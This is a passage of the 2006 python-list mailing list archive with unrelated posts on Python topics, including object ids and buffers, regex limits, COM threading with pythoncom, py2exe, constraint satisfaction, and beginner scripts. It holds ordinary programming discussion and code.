was looking at references  in python...
>>> a = 10
>>> b = a
 >>> id(a)
153918788
>>>id(b)
153918788

where a and b point to the same id. now is this id an address ?
can one dereference a value based on address alone in python?
is id similar to the address of a variable or a class ?

read abt buffers as a refernce to a buffer object.
actually i tried passing list and dict types to buffer function, but only
with string type i could createa buffer reference,
>>>y = 'GATCGTACC'
>>>x = buffer(y, 0,8)
>>> x
<read-only buffer for 0xbf4cd3b8, size 8, offset 2 at 0xbf4cf0e0>
>>>print x
TCGTACC
>>> id(y)
-1085484104
>>> id(x)
-1085476384

now the ids of y and x are not the same - why ?
In which situatons are buffers used against the strings ?
can i create a write buffer instead of readonly buffer ?
what exactly are buffer object types ? and how can i instantiate them ?

regards,
KM
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From lycka at carmen.se  Mon Oct  9 07:45:28 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Mon, 09 Oct 2006 13:45:28 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1259.1159965132.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
Message-ID: <egdcop$4c0$1@wake.carmen.se>

Fredrik Lundh wrote:
> you're not on the infrastructure list, I hear.  

I tried to figure out where that list is, so I could have
a look at the archives, but I didn't find it in the (for
me) obvious places. Could someone please provide a link
to the archives for this mailing list, or aren't there
any public archives of them? Only for PSF members?

> python.org could still need a few more roundup volunteers,
 > but it's not like nobody's prepared to contribute manhours.
 > don't underestimate the community.

So, how many have offered to help? Is this information
available in some public repository?

I don't know how much work it actually takes to maintain
a roundup installation for the Python project, but I know
that in general, not all people manage to follow through
on everything they commit to do, even if they have good
intentions, so I'd be a bit worried to move to roundup if
only two or three people had offered to run it, even if
that might nominally be enough. Of course, this depends
on who those people would be... Ten seems like a bit too
many though. I somehow suspect that less work would get
done in a group of ten than in a group of six people...

It seems to me that an obvious advantage with either Roundup
or Trac, is that if the Python project used it, the Python
project would have a significant impact on how this product
developed. Even if the Jira people seem eager to please us,
I'm pretty convinced that it will be easier to get Roundup
or Trac improved to fit our particular needs.

That's valuable in two ways:
1) The Python project would get a bug tracker which is
    developed with the needs of the Python project as a
    prime concern. (Being the major "customer" of a product
    has benefits. Jira on the other hand, might get more
    and more integrated with other Java stuff that we don't
    really care about.
2) We'd help making a good Python product even better, and
    probably more widely used, thus spreading the use of
    Python even further.


From wuwei23 at gmail.com  Sun Oct 22 20:26:55 2006
From: wuwei23 at gmail.com (alex23)
Date: 22 Oct 2006 17:26:55 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <mailman.936.1161523162.11739.python-list@python.org>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161444416.749636.172530@i42g2000cwa.googlegroups.com>
	<mailman.908.1161452358.11739.python-list@python.org>
	<1161510017.622766.187460@k70g2000cwa.googlegroups.com>
	<mailman.936.1161523162.11739.python-list@python.org>
Message-ID: <1161563215.573049.104490@f16g2000cwb.googlegroups.com>

Peter Decker wrote:
> When you've worked with lots of open
> source projects, you can tell which are actively being developed and
> which are dead or comatose; you can tell which have a growing
> community and which are stagnant; you can tell which are worth
> investing your time into learning and/or contributing to, and which
> are dead-ends. Wax feels like a real dead-end to me.

Can you also tell when you're wrong?

I checked out Wax last week for the first time; I hit a snag and got an
answer from the lead developer within a day, along with a pointer to
the latest dev version.

But don't let communication get in the way of that six sense you've got
going there :)

- alex23



From Hakusa at gmail.com  Wed Oct 25 19:14:52 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 16:14:52 -0700
Subject: What's the best IDE?
Message-ID: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>

Recently I've had some problems with PythonWin when I switched to
Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
helper, and I'm looking for a cool replacement, or some advocation to
reinstall/setup PyWin. But the Python website's list is irrefutably
long. It would take a month or two to test all of those products. So
I'm looking for experienced advocates.

What's your favorite IDE?
What do you like about it?
It would be fine for a begginer, right?



From python.list at tim.thechases.com  Thu Oct 12 22:16:11 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 12 Oct 2006 21:16:11 -0500
Subject: Starting out.
In-Reply-To: <1160696990.5969.4.camel@dsktp>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160696990.5969.4.camel@dsktp>
Message-ID: <452EF6EB.6020200@tim.thechases.com>

> (OT: Try to type 'proficient' with one hand on a US keyboard. :-))

A number of nice words like that:

authenticity
proficiency
entitlement
enchantment
protozoans
proficient
antisocial
tutorials
tormentor
shanghais
shamrocks
rhapsodic
protozoan
pantheism
handiwork
flamencos
fishbowls
firmament
endowment
dyspeptic
dyspepsia
downturns
downright
divisible
disorient
dismantle
dirigible
cockfight
authentic


Try it yourself:

 >>> import re
 >>> r = 
re.compile('^[yuiophjklnm]?([asdfgqwertzxcvb][yuiophjklnm])*[asdfgqwertzxcvb]?$')
 >>> for line in file('/usr/share/dict/words'):
...	line = line.strip()
...	if r.match(line): print line
...

which finds words that (on a QWERTY keyboard) are touch-typed 
with alternating left/right hands.

In a fit of late-night boredom, I played with regexps that will 
find words of the following classes of words (on a QWERTY keyboard):
typed with just the left-hand
	'^[qwertasdfgzxcvb]*$'
typed with just the right-hand
	'^[yuiophjklnm]*$'
typed with just the top-row of keys
	'^[qwertyuiop]*$'
typed with just the home-row of keys
	'^[asdfghjkl]*$'
typed with just the home-row keys
	'^[asdfjkl]*$'


Beware...they're fun :)

-tkc





From tdelaney at avaya.com  Wed Oct 25 20:40:46 2006
From: tdelaney at avaya.com (Delaney, Timothy (Tim))
Date: Thu, 26 Oct 2006 10:40:46 +1000
Subject: Fatal Python error: deallocating None
Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EB02@au3010avexu1.global.avaya.com>

George Sakkis wrote:

> What makes the problem worse is that it's not deterministic; I can
> restart it from (a little before) the point of crash and it doesn't
> happen again at the same point, but it might happen further down. Now,
> I wouldn't mind restarting it manually every time since the crashes
> are not all that frequent; problem is, it's supposed to be a
> long-running process that will probably take days to finish normally,
> so I want it to run overnight too. Any hints ?

None should *never* be deallocated, so it sounds like it's not being
INCREFed correctly somewhere. Extension module, etc ...

Tim Delaney


From monica.medina at ngc.com  Tue Oct 24 13:38:13 2006
From: monica.medina at ngc.com (matey)
Date: 24 Oct 2006 10:38:13 -0700
Subject: Python and SSL enabled
Message-ID: <1161711493.617569.178870@h48g2000cwc.googlegroups.com>


I am have version 2.3.4.  I want to write a python script to access a
secure HTTPS.

I tried the following:

import urllib
urllib.urlopen("https://somesecuresite.com")
s = f.read()
f.close()

I get the following:

IOError [Errno url error] unknown url type: 'https'

1. How do I know if SSL is enabled?
2. What can I do to get this to work?

Thanks,

Matey



From dingbat at codesmiths.com  Mon Oct 16 13:04:14 2006
From: dingbat at codesmiths.com (Andy Dingley)
Date: 16 Oct 2006 10:04:14 -0700
Subject: Book about database application development?
In-Reply-To: <7xlknhg2rz.fsf@ruckus.brouhaha.com>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
Message-ID: <1161018253.940762.224990@e3g2000cwe.googlegroups.com>

Paul Rubin wrote:
> http://philip.greenspun.com/sql/

There was a time (some time in the mid 90s) when I thought that Philip
Greenspun had a Clue. Then I realised just how wrong he was (he started
off reasonably right, he just didn't keep up when the world moved on).
The highlight of this process was seeing him booed during a conference
keynote speech -- by angry librarians and museum curators  (he deserved
it too).

I can't imagine any topic, except possibly dog grooming, where I'd
listen to his advice.



From deets at web.de  Sun Oct  8 04:49:50 2006
From: deets at web.de (Diez B. Roggisch)
Date: 8 Oct 2006 01:49:50 -0700
Subject: need some regular expression help
In-Reply-To: <mailman.40.1160272852.11739.python-list@python.org>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
Message-ID: <1160297390.242124.260770@i3g2000cwc.googlegroups.com>


hanumizzle wrote:
> On 7 Oct 2006 15:00:29 -0700, Diez B. Roggisch <deets at web.de> wrote:
> >
> > Chris wrote:
> > > I need a pattern that  matches a string that has the same number of '('
> > > as ')':
> > > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
> > > '((2x+2)sin(x))', '(log(2)/log(5))' ]
> > > Can anybody help me out?
> >
> > This is not possible with regular expressions - they can't "remember"
> > how many parens they already encountered.
>
> Remember that regular expressions are used to represent regular
> grammars. Most regex engines actually aren't regular in that they
> support fancy things like look-behind/ahead and capture groups...IIRC,
> these cannot be part of a true regular expression library.

Certainly true, and it always gives me a hard time because I don't know
to which extend a regular expression nowadays might do the job because
of these extensions. It was so much easier back in the old times....

> With that said, the quote-unquote regexes in Lua have a special
> feature that supports balanced expressions. I believe Python has a
> PCRE lib somewhere; you may be able to use the experimental ??{ }
> construct in that case.

Even if it has - I'm not sure if it really does you good, for several
reasons:

 - regexes - even enhanced ones - don't build trees. But that is what
you ultimately want
   from an expression like sin(log(x))

 - even if they are more powerful these days, the theory of context
free grammars still applies.
   so if what you need isn't LL(k) but LR(k), how do you specify that
to the regex engine?

 - the regexes are useful because of their compact notations, parsers
allow for better structured outcome 


Diez



From steven.bethard at gmail.com  Sun Oct 15 17:52:26 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sun, 15 Oct 2006 15:52:26 -0600
Subject: classroom constraint satisfaction problem
Message-ID: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com>

I'm trying to solve a constraint-satisfaction problem, and I'm having 
some troubles framing my problem in such a way that it can be 
efficiently solved.

Basically, I want to build groups of two teachers and four students such 
that [1]:

* Students are assigned to exactly one group
* Teachers are assigned to approximately the same number of groups
* Students are not in groups with their homeroom teachers
* Students in each group are from four different homerooms

So given teachers A, B, C, D, E and F and their corresponding students 
A1, A2, ... F3, F4, here's a good grouping:

A, B:   C1, D1, E1, F1
B, C:   A1, D2, E2, F2
C, D:   A2, B1, E3, F3
D, E:   A3, B2, C2, F4
E, F:   A4, B3, C3, D3
F, A:   B4, C4, D4, E4


My current solution is to create a constraint satisfaction problem using 
python-constraint (http://labix.org/python-constraint) where there are 
variables for:

* each student      domain: group names
* each group name   domain: all pairs of teachers

This works for simple problems, but because most of my constraints have 
to iterate over all students and/or all groups, this takes way too long 
on my real dataset (which has 300+ students).  I thought about trying to 
reframe the problem so that there are variables for:

* each group name   domain: pairs of teachers X 4-tuples of students

but that seems like it would be generating something like 15^2*300^4 
items for the domain, which is clearly also going to be way too big.


Any suggestions on how to speed things up?  I've posted my current code_ 
and the tests_ in case anyone has the time to look at them.

.. _code: http://ucsu.colorado.edu/~bethard/py/constraint/student_groups.py
.. _tests:
http://ucsu.colorado.edu/~bethard/py/constraint/test_student_groups.py


Thanks!

Steve


[1] There are actually two other constraints that I omitted:

* Some teachers cannot be placed in the same group, e.g. I might know 
that A cannot work with B or that E cannot work with F.

* If you create a graph out of the teacher pairs from all the groups, 
the graph should not be disconnected.  That is, the following grouping 
is bad because the teachers are disconnected:

A, B: ...
C, D: ...
A, B: ...

while this grouping would be okay:

A, B: ...
B, C: ...
C, D: ...


From idknow at gmail.com  Wed Oct 11 22:25:58 2006
From: idknow at gmail.com (idknow at gmail.com)
Date: 11 Oct 2006 19:25:58 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160603937.392188.253250@m7g2000cwm.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
Message-ID: <1160619958.438049.53390@h48g2000cwc.googlegroups.com>

bearophileHUGS at lycos.com wrote:
> John Doty:
> > Yes. The efficient exact algorithms for this problem use *partial*
> > sorts. The Forth one from the FSL is of this class (although I know of
> > two better ones for big arrays). But it's tough to beat the efficiency
> > of the approximate histogram-based method the Python stats module
> > implements.
>
> The usual way to compute a true median with Python may be:
>
> def median(inlist):
>     newlist = sorted(inlist)
>     index = len(newlist) // 2
>     if len(newlist) % 2:
>         return newlist[index]
>     else:
>         return (newlist[index] + newlist[index-1]) / 2.0
>
[snip]

no sort() is needed to calculate the median of a list.

you just need one temp var.



From fulvio at pc.jaring.my  Thu Oct 19 06:31:59 2006
From: fulvio at pc.jaring.my (Fulvio)
Date: Thu, 19 Oct 2006 18:31:59 +0800
Subject: a little about regex
In-Reply-To: <1161183924.713254.173720@m73g2000cwd.googlegroups.com>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<1161160990.381368.53770@m73g2000cwd.googlegroups.com>
	<1161183924.713254.173720@m73g2000cwd.googlegroups.com>
Message-ID: <200610191831.59855.fulvio@pc.jaring.my>

On Wednesday 18 October 2006 23:05, Ant wrote:
> ? ? allow = re.compile(r'.*(?<!\.com)\.my(>|$)') ?# negative lookbehind
> ? ? if allow.search(adr):
> ? ? ? ? return True
> ? ? return False

I'd point out that :
 allow = re.search(r'.*(?<!\.com)\.my(>|$)',adr)

Will do as yours, since the call to 're' class will do the compilation as here 
it's doing separately.

> Though having the explicit allow and deny expressions may make what's
> going on clearer than the fairly esoteric negative lookbehind.

This makes me think that your point is truly correct.
The option for my case is meant as  "deny all except those are specified". 
Also may go viceversa. Therefore I should refine the way the filtering act.
In fact the (temporarily) ignored score is the base of the method to be 
applied.
Obviously here mainly we are talking about email addresses, so my intention is 
like the mailfilter concept, which means the program may block an entire 
domain but some are allowed and all from ".my" are allowed but not those 
from ".com.my" (mostly annoying emails :P )

At the sum of the view I've considered a flexible programming as much as I'm 
thinking that may be published some time to benefit for multiplatform user as 
python is.
In such perspective I'm a bit curious to know if exist sites on the web where 
small program are welcomed and people like me can express all of their 
ignorance about the mode of using python. For such ignorance I may concour 
for the Nobel Price :)

Also the News Group doesn't contemplate the idea to split into beginners and 
high level programmers (HLP). Of course the HLP are welcome to discuss on 
such NG :).

F


From johnjsal at NOSPAMgmail.com  Thu Oct 26 11:03:58 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 15:03:58 GMT
Subject: cleaner way to write this?
In-Reply-To: <7xslhccbkz.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<453fd983$0$12298$426a74cc@news.free.fr>
	<7xslhccbkz.fsf@ruckus.brouhaha.com>
Message-ID: <y740h.164$1n3.4282@news.tufts.edu>

Paul Rubin wrote:
> Bruno Desthuilliers <bdesth.quelquechose at free.quelquepart.fr> writes:
>>> But if the user doesn't enter any text, I don't want the method to
>>> return at all (even None).
>> John, please re-read the FineManual(tm). None is the default return
>> value of a function - even if there's no return statement.
> 
> Correct, but if the user doesn't enter text, the function is supposed
> to loop and prompt for text again, instead of returning.

Yes, that's what I meant. I didn't want it to return *yet* until a value 
was entered.


From breakfastea at gmail.com  Sat Oct  7 05:21:57 2006
From: breakfastea at gmail.com (Camellia)
Date: 7 Oct 2006 02:21:57 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160211614.457906.231260@c28g2000cwb.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>
	<1160159206.781049.24930@c28g2000cwb.googlegroups.com>
	<1160168295.033649.163460@k70g2000cwa.googlegroups.com>
	<1160197715.045939.138760@b28g2000cwb.googlegroups.com>
	<mailman.12.1160204754.11739.python-list@python.org>
	<1160211614.457906.231260@c28g2000cwb.googlegroups.com>
Message-ID: <1160212917.606616.276430@i42g2000cwa.googlegroups.com>

OK so this is the result after I taking everything I'm teached in this
thread:

<code>
print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\'
or \'t\' please\n'

count = 0
user_input = []

while len(user_input) < 10:
    print '\nNo.', len(user_input)+1, ', h or t?'
    pre_user = raw_input()
    if pre_user not in ['t', 'h']:
        print '\njust enter \'h\' or \'t\' please'
        continue
    user_input.append(pre_user)
    count += 1

correct = 0
import random
ini_guess = random.randrange(2)
list_guess = ['t', 'h']
ini_guess = list_guess[ini_guess]
# generate random initial guess
for item in user_input:
    if item == 'h':
        if ini_guess == item:
            correct += 1
        else:
            ini_guess = 'h'
    if item == 't':
        if ini_guess == item:
            correct += 1
        else:
            ini_guess = 't'

print '\n\nI got', correct, 'out of 10 correct.'

raw_input('press enter to exit')

</code>

Thanks for all the people who helped me:)

Peace
Kelvin



From ptmcg at austin.rr._bogus_.com  Mon Oct 23 15:46:42 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 23 Oct 2006 19:46:42 GMT
Subject: Attempting to parse free-form ANSI text.
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com><JfU_g.1083$GR2.132@tornado.texas.rr.com>
	<mailman.972.1161608427.11739.python-list@python.org>
Message-ID: <C_8%g.21883$ta3.7179@tornado.texas.rr.com>


"Frederic Rentsch" <anthra.norell at vtxmail.ch> wrote in message 
news:mailman.972.1161608427.11739.python-list at python.org...
>> Prints:
>> This is a test string containing some ANSI sequences.
>> Sequence 1:
>> <change color attributes to ['1012']>
>>
> I doubt we should concatenate numbers.

Oof! No doubt.  I should read my test output more closely!

This is an artifact of using Combine to only recognize escape sequences with 
no intervening whitespace.  Removing Combine solves this problem.

-- Paul 




From fredrik at pythonware.com  Fri Oct 20 01:16:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:16:39 +0200
Subject: Need help in Py2exe
In-Reply-To: <1161318158.913494.69770@m7g2000cwm.googlegroups.com>
References: <1161318158.913494.69770@m7g2000cwm.googlegroups.com>
Message-ID: <eh9m3o$478$2@sea.gmane.org>

Kirt wrote:

> -------------------------------------------------------------------------------
> When i run this as python setup.py py2exe. I get an main.exe file in
> dist folder. But when i run the file i get an error --
> Traceback (most recent call last):
>   File "main.py", line 7, in ?
>   File "xml\sax\sax2exts.pyc", line 37, in make_parser
>   File "xml\sax\saxexts.pyc", line 77, in make_parser
> xml.sax._exceptions.SAXReaderNotAvailable: No parsers found..
> 
> I think i am missing something in setup.py file. Can anyone help?

there's a page on the py2exe site about tweaks necessary for specific 
modules:

     http://www.py2exe.org/index.cgi/WorkingWithVariousPackagesAndModules

look for:

     If you're getting File "xml\sax\saxexts.pyc", line 77, in
     make_parser; xml.sax._exceptions.SAXReaderNotAvailable: No
     parsers found, read this

</F>



From johnjsal at NOSPAMgmail.com  Wed Oct  4 00:32:57 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 00:32:57 -0400
Subject: can't open chm files all of a sudden
In-Reply-To: <45233927$0$1761$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
Message-ID: <45233a81$0$30748$c3e8da3@news.astraweb.com>

John Salerno wrote:
> Hi all. I apologize since this is only remotely Python related, but I 
> hope someone might now the solution.
> 
> I tried opening my Python chm docs just now, as well as the one for 
> wxPython, and both are giving me an error dialog when I double-click 
> them and I can't open them. This happened apparently for no reason, just 
> today. I even reset but that didn't help.
> 
> Does anyone know what might cause this, and if it could affect the rest 
> of Python or wxPython as well?
> 
> Thanks.

P.S. Here is part of the error, but not the long detailed section:

AppName: hh.exe	 AppVer: 5.2.3790.2453	 ModName: itss.dll
ModVer: 5.2.3790.2453	 Offset: 00006bec

The same thing shows up for both files.


From Leo.Kislov at gmail.com  Mon Oct 30 03:54:57 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 30 Oct 2006 00:54:57 -0800
Subject: Lookuperror : unknown encoding : utf-8
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>
Message-ID: <1162198497.288698.244940@k70g2000cwa.googlegroups.com>


Sachin Punjabi wrote:
> On Oct 30, 1:29 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> > Sachin Punjabi wrote:
> > > The OS is Windows XPthen your installation is seriously broken.  where did you get the
> > installation kit?  have you removed stuff from the Lib directory ?
> >
> > </F>
>
> It was already installed on my PC and I have no clue how it was
> installed or any changes has been done.

Then it's a distribution of your PC manufacturer. They could omit some
modules like utf-8 codec.

> I am just downloading newer
> version from python.org and will install and check it. I think there
> should be problem with installation itself.

That's a right idea, I'd also recommend to leave the manufacturer's
python distribution alone. Do not remove it, do not upgrade it. Some
programs provided by the manufacturer can stop working. If the
preinstalled python was installed into c:\python24 directory, choose
some other directory when you install python from python.org.

  -- Leo



From tejovathi.p at gmail.com  Mon Oct 16 04:43:33 2006
From: tejovathi.p at gmail.com (Teja)
Date: 16 Oct 2006 01:43:33 -0700
Subject: COM and Threads
In-Reply-To: <1160725467.164675.318010@i42g2000cwa.googlegroups.com>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
	<1160713687.665650.221900@b28g2000cwb.googlegroups.com>
	<1160718073_1665@sp6iad.superfeed.net>
	<1160718935.372511.303470@m73g2000cwd.googlegroups.com>
	<1160724047_3201@sp6iad.superfeed.net>
	<1160725467.164675.318010@i42g2000cwa.googlegroups.com>
Message-ID: <1160988213.107614.246830@i42g2000cwa.googlegroups.com>


Teja wrote:
> Roger Upole wrote:
> > "Teja" <tejovathi.p at gmail.com> wrote:
> > >
> > > Roger Upole wrote:
> > >
> > >> "Teja" <tejovathi.p at gmail.com> wrote:
> > >> >
> > >> > Roger Upole wrote:
> > >> >
> > >> >> "Teja" <tejovathi.p at gmail.com> wrote:
> > >> >> >I have an application which uses COM 's Dispatch to create a COM based
> > >> >> > object. Now I need to upgrade the application to a threaded one. But
> > >> >> > its giving an error that COM and threads wont go together. Specifically
> > >> >> > its an attribute error at the point where COM object is invoked. Any
> > >> >> > pointers please??????
> > >> >> >
> > >> >>
> > >> >> An actual traceback would help.
> > >> >> At a guess, when using COM in a thread
> > >> >> you need to call pythoncom.CoInitialize and
> > >> >> CoUninitialize yourself.
> > >> >>
> > >> >>      Roger
> > >> >
> > >> > Actually Roger, this is the scenario....
> > >> >
> > >> > I create a COM object at the beginnning of the main thread. In the sub
> > >> > thread, I need to access the same instance of the COM object. If it
> > >> > were a normal object ie. not a COM obj, i was able to do it. But if it
> > >> > were a COM object, its giving an attribute error? Should I pass a COM
> > >> > object to the thread. If so How? Please let me know ASAP... Thnks
> > >> >
> > >>
> > >> To pass COM objects between threads, usually they'll need to be marshaled
> > >> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled
> > >> with pythoncom.CoGetInterfaceAndReleaseStream.
> > >>
> > >>          Roger
> > >
> > > I really appreciate your quick reply....Can u please let me know how to
> > > do marshalling and unmarshalling or any good refrences to do it.
> > > Because i tried to do it. I got some errors ans so I left it...
> > >
> > > Thnks again...
> > >
> >
> > Here's a simple example using Internet Explorer.
> >
> > import win32com.client, pythoncom, thread
> > ie=win32com.client.Dispatch('internetexplorer.application')
> > ie.Visible=1
> >
> > def nav(istream, dest):
> >     pythoncom.CoInitialize()
> >     d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch)
> >     my_ie=win32com.client.Dispatch(d)
> >     my_ie.Navigate(dest)
> >     pythoncom.CoUninitialize()
> >
> > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
> > thread.start_new_thread(nav, (s, 'www.google.com'))
> >
> >       Roger
>
> Thnks a lot Roger, Its working gr8..Now, once the thread is started
> with start_new_thread, is there any way to terminate it upon user's
> request. I have explored and found out that there is no thread.kill().
> So wht to do now?
>
> Teja

HI all,

I have a problem in accesing COM objects in threads. To be precise,
lets assume that I have a class GenericFunctions which is defined as
follows:

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:

       def __init__(self):
             print "In Constructor of Generic Functions"

       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()

class Mainclass:
       def __init__(self);
            print "In Constructor of Main class"

       def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.func(dest)          # this is gving an error.
            pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
         thread.start_new_thread(self.nav, (s,'www.google.com')

Basically, I want to access object of GenericFunctions class inside
threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is....
Please let me know the solution ASAP...

Teja.P



From horpner at yahoo.com  Thu Oct 19 12:45:54 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 18:45:54 +0200
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
Message-ID: <slrnejfavi.11k.horpner@FIAD06.norwich.edu>

On 2006-10-19, Brad <rtilley at vt.edu> wrote:
> I'm home for lunch so my email addy is different.
>
> No, it doesn't happen very often, but when I need to reverse
> something (usually a list or a string). I can never remember
> right of the top of my head how to do so in Python. I always
> have to Google for an answer or refer back to old code.
>
> IMO, I should be able to intuitively know how to do this.
> Python is so user-friendly most every place else... why can it
> not be so here?
>
> I wrote this so I'll never have to remember this again:
>
> def invert(invertable_object):
>      try:
>          print invertable_object[::-1]
>          return invertable_object[::-1]
>      except:
>          print 'Object not invertable'
>          return 1
>
> invert([1,2,3,4])
> invert('string')
> invert({1:2, 3:4})

Shoot, now you'll have to remember where in heck you stashed that
function the next time you need to reverse something. ;-)

You'll still be better off in the long run memorizing the slice
notation.

-- 
Neil Cerutti


From horpner at yahoo.com  Fri Oct  6 21:34:48 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Sat, 07 Oct 2006 01:34:48 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
Message-ID: <YuDVg.5035$5i7.3413@newsreading01.news.tds.net>

On 2006-10-07, John Machin <sjmachin at lexicon.net> wrote:
>
> MonkeeSage wrote:
>> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
>> > it is clearer to you to make the condition explicit ("blah not False"),
>>
>> "blah not False" -> "blah is False"
>
> Whichever way your team wants to interpret it, d00d.
>
> Please consider whether you should be writing "(blah is False)
> is True", that would be more explicit.

OK, now we're entering Daily WTF territory. ;)

And in the original case, I'd agree that "if X.has_key():" is
quite clear, already yielding a boolian value, and so doesn't
need to be tested for if it's False. But I wouldn't like to test
for an empty list or for None implicitly.

-- 
Neil Cerutti


From breakfastea at gmail.com  Sat Oct  7 05:00:14 2006
From: breakfastea at gmail.com (Camellia)
Date: 7 Oct 2006 02:00:14 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <mailman.12.1160204754.11739.python-list@python.org>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>
	<1160159206.781049.24930@c28g2000cwb.googlegroups.com>
	<1160168295.033649.163460@k70g2000cwa.googlegroups.com>
	<1160197715.045939.138760@b28g2000cwb.googlegroups.com>
	<mailman.12.1160204754.11739.python-list@python.org>
Message-ID: <1160211614.457906.231260@c28g2000cwb.googlegroups.com>

Steve Holden thank you for your kind words, they pumped me up:)
I don't really know much about TDD however I googled it and found this:
http://www.agiledata.org/essays/tdd.html
Which is obvious too complicated. However I'll read through it anyway.
Thank you for your advice:)

Ant thank you for pointing that out, I made the little code too
complicated.
Well, actually this is the simplified version, the first one I did was
like:
list_1 = raw_input()
list_2 = raw_input()
...
list_10 = raw_input()
and then I found I'm doing the computer's work...

Thanks for all the kind people here
Peace
Kelvin


Steve Holden wrote:
> Camellia wrote:
> > Oh I get it and ashamed, thank you for explaining it to me:)
> >
> > so I sould:
> > ini_guess=random.randrange(2)
> > ....
> > for item in  list:
> >     if item=='h':
> >         ...
> >     if item ==t':
> >         ...
> >
> Welcome to programming. You have learned, as many thousands have learned
> before you, how easy it is to assume correct behaviour in something that
> is, in fact, wrong. Those with an aptitude for the task accept with
> humility (no need for shame, though, as inexperience is a valid excuse)
> that they will continue to make errors they do not see.
>
> Your response to the corrections you received implies you have a future
> as a programmer!
>
> You might also want to do some reading about test-driven development,
> which can save some time hunting obscure bugs.
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
